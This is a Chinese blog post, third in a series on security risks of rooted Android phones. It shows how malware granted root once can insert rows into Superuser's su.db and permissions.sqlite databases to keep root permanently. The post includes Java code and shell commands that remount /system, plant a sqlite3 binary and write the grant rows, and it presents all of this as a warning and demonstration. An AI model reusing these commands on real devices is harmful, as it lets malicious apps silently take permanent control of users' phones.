android手機root後的安全問題 (三) superuser db修改

導讀:本文介紹病毒如何篡改superuser,使得用戶只是允許病毒請求的一次root權限變成允許病毒永久使用root權限。

 

 

繼續之前兩篇文章寫,如果路過的同學有疑問,請先看前兩篇

有同學說,你的Fake.apk需要把應用copy到system下才行,這是需要root權限的。如果用戶允許了你一次root請求,你當着用戶的面copy,那麼copy之後,系統會發送廣播,告知有新的apk被安裝,殺毒軟件就會發現你。

是的,這確實是個問題,但是病毒就是病毒,總會想辦法讓你病倒的,別急。

 

superuser把數據記錄到數據庫中,那病毒爲什麼不去修改你的數據庫呢?如果修改成功,那麼豈不是永久獲得了root權限,以後再也用不着你來批准我了,我自己批准!

 

很不幸,病毒如果獲得了一次root權限,那麼上面所說的事情是完全可以做到的。

我們來演示一下,我手機中裝有superuser,版本爲3.0.7

我還裝了一個re管理器

 

首先,我們打開re管理器,這時候re管理器請求使用root權限,superuser會彈出提示,詢問用戶是否允許

我們點擊允許之前,勾選“記住”,然後允許。

這一步是爲了獲取:應用獲得永久root權限時,應該在superuser數據庫插入什麼樣的數據。

 

然後我們將數據庫導出

/data/data/com.noshufou.android.su/databases下面有兩個數據庫我們需要關注

su.db

permissions.sqlite

我們以permissions.sqlite爲例,下圖爲表結構:

 

然後來看看病毒應該如何修改數據

病毒只需要關心幾個字段

uid,包名,應用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1

病毒如何獲得自己的包名和應用名,這個大家沒什麼疑問吧

ActivityManager.RunningAppProcessInfo中含有uid的信息

下面的代碼可以獲得當前應用的uid

Java代碼 複製代碼 收藏代碼
  1. public static int getUid(Context context,String packageName){   
  2.     ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);   
  3.     List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();   
  4.     int size = runningAppProcesses.size();   
  5.     ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;   
  6.     for (int i = 0; i < size; i++) {   
  7.         runningAppProcessInfo = runningAppProcesses.get(i);   
  8.         if(packageName.equals(runningAppProcessInfo.processName)){   
  9.             return runningAppProcessInfo.uid;   
  10.         }   
  11.     }   
  12.     return -1;   
  13. }  

好了,這個表已經搞定了,su.db和這個幾乎一樣,也就不再演示了。

 

最後的問題是,如何修改手機中的數據庫,顯然,我們使用sqlite3,但是有的手機居然沒有這個問題,所以病毒很可能自己捆綁了一個,然後複製到system/bin或者system/xbin中

sqlite3從哪來?哪都有。。比如你可以從模擬器pull出來一份。

 

好了,全部搞定了

最終我們分兩步

1準備sqlite3這個文件,以防萬一

Java代碼 複製代碼 收藏代碼
  1. prepareButton.setOnClickListener(new View.OnClickListener() {   
  2.     public void onClick(View v) {   
  3.         File dataFolder = getFilesDir();   
  4.     File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");   
  5.     copyFile("db/sqlite3", sqlite, mResources);   
  6.     }   
  7. });  

2申請root權限,一旦成功,那就修改數據庫

Java代碼 複製代碼 收藏代碼
  1. String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +   
  2.                             "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";   
  3. String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +   
  4.                                                     "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";   
  5.   
  6. String[] commands = {"busybox mount -o remount,rw /system"  
  7.                             ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"  
  8.                     ,"busybox rm /data/data/" + packageName + "/files/sqlite3"  
  9.                     ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"  
  10.                     ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};  

執行即可

 

從此,病毒就脫離你的掌控了,一發不可收拾

 

 

結語

由於本博客只是用於演示,所以有些不嚴密的地方。

比如:首次使用superuser之前,它的數據庫的表可能還沒有創建,所以有些sql操作可能會失敗

我也不打算寫個完整的病毒,這樣一些人就會想着幹一些不乾淨的事情。僅供學習交流

 

看來大家每次批准root之後,還要去superuser中的列表看看有沒有什麼異常才行

 

請大家不要用root的手機隨意下載軟件,更不要以任何藉口製造任何病毒!

 

android手機root後的安全問題 (一)

android手機root後的安全問題 (二)

android手機root後的安全問題 (三)

android手機root後的安全問題 (四)

 

 

android安全問題(一) 靜音拍照與被拍

android安全問題(二) 程序鎖

android安全問題(三) 釣魚程序

 

 

 

轉貼請保留以下鏈接

本人blog地址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章